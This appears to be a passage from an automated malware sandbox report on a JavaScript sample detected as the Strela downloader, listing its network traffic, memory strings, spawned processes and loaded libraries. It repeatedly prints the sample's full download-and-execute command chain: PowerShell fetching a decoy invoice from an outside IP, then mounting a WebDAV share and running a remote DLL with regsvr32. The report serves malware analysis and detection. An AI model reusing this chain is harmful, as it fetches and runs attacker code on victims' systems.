4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1686053136.0000024D28EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1736546747.000001C0B2448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1735407855.000001C0B247B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1736602155.000001C0B247B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/BHQx
Source: svchost.exe, 00000008.00000002.2987672507.000002A4FAC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1736288102.000002A4FAAB8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1736288102.000002A4FAAB8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1736288102.000002A4FAAB8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1736288102.000002A4FAAED000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1736288102.000002A4FAB62000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1736288102.000002A4FAB62000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1736288102.000002A4FAB62000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6356, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1329220172182926612.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/41@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4qh2uyrj.ojf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1329220172182926612.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1612,i,9726095603850930841,13491542932021259864,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1612,i,9726095603850930841,13491542932021259864,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
